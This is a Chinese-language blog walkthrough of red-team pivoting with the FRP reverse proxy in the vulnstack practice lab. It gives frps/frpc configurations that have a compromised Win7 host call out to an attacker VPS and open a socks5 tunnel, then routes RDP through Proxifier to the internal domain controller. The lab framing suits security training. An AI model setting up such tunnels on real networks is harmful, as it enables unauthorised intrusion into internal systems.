banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban

代理及转发之FRP

介绍及环境#

frp是一个高性能的反向代理应用,可以使目标对外开放端口,支持

  • tcp
  • http
  • https

等协议类型,并且web服务支持根据域名进行路由转发,从而在红队行动时实现内网穿透

frp作为反向代理工具胜在稳定,但是其依赖配置文件,溯源容易

本篇文章在《ATT&CK 实战 - 红日安全 vulnstack (一)》文章使用到的环境基础上实现

网络配置示意图如下所示:

image

  • 已知 win7 作为边界机,已突破拿到 shell

  • 域控主机已开启允许远程访问

这里已经提前上线cs,其实cs可以直接一键开启socks隧道但是不在本文范围之内

通过cs查看目标主机win7ip有两个内网网段

image

image

FRP 代理进入内网#

首先需要明确代理流程

  • 需要是攻击机笔记本的程序能够使用代理进行访问该域环境内网

首先从GitHub下载对应版本的FRP代理程序

打开可以看到FRP针对每种操作系统都有对应版本的程序:

image

windows64版本为例,包含文件有如下:

  • systemd
  • frpc.exe
  • frpc.ini
  • frpc_full.ini
  • frps.exe
  • frps.ini
  • frps_full.ini
  • LICENSE

可以看出同一操作系统,官方默认提供server端和cilent

在攻击机,也就是拥有公网ipvps先配置frps.ini

默认配置文件是这样的:

[common]
server_addr = 127.0.0.1
server_port = 7000

[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6000

此处暂时先以最基础的配置介绍:

[common]
bind_port = 7000
token = 145678

其实最基础的只需前两行,但是建议习惯加上token哈,然后开启服务器:

frps -c frpc.ini

image

此时目标机需要配置连接我们的vps之外,还需配置socks5隧道才能让我们进入目标环境的内网,最简单的配置应该如下:

[common]
server_addr = x.x.x.x
server_port = 7000
token = 145678

[socks1]
type = tcp
remote_port = 6666
plugin = socks5
plugin_user = admin
plugin_passwd = passwd

启动客户端frp

image

此时vps收到连接:

image

这时候我们笔记本攻击机就可以挂着socks5:VPS-IP:6666来访问边界区可以访问的目标了

结束 frp 时可以使用 ps -aux|grep frp 命令列出 frp 进程信息,然后再用 kill 命令结束掉 frp 进程

本地访问可以用Proxifier,将需要使用的工具设置为走该代理

proxifier 进行代理#

添加我们的服务器如下:

image

将远程桌面工具mstsc.exe添加规则:

image

此时在我们本地使用远程工具mstsc直接连接内网的域控主机192.168.52.138

image

已经可以成功访问到目标主机内网的域控远程桌面

在连接的时候可以看到proxifier打印出了日志,显示通过代理开始连接

要使用其他工具对内网进行扫描也是一样的,只需要在proxifier中将使用到的程序配置规则即可

frp 优化#

敬请期待更新

参考文章:

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。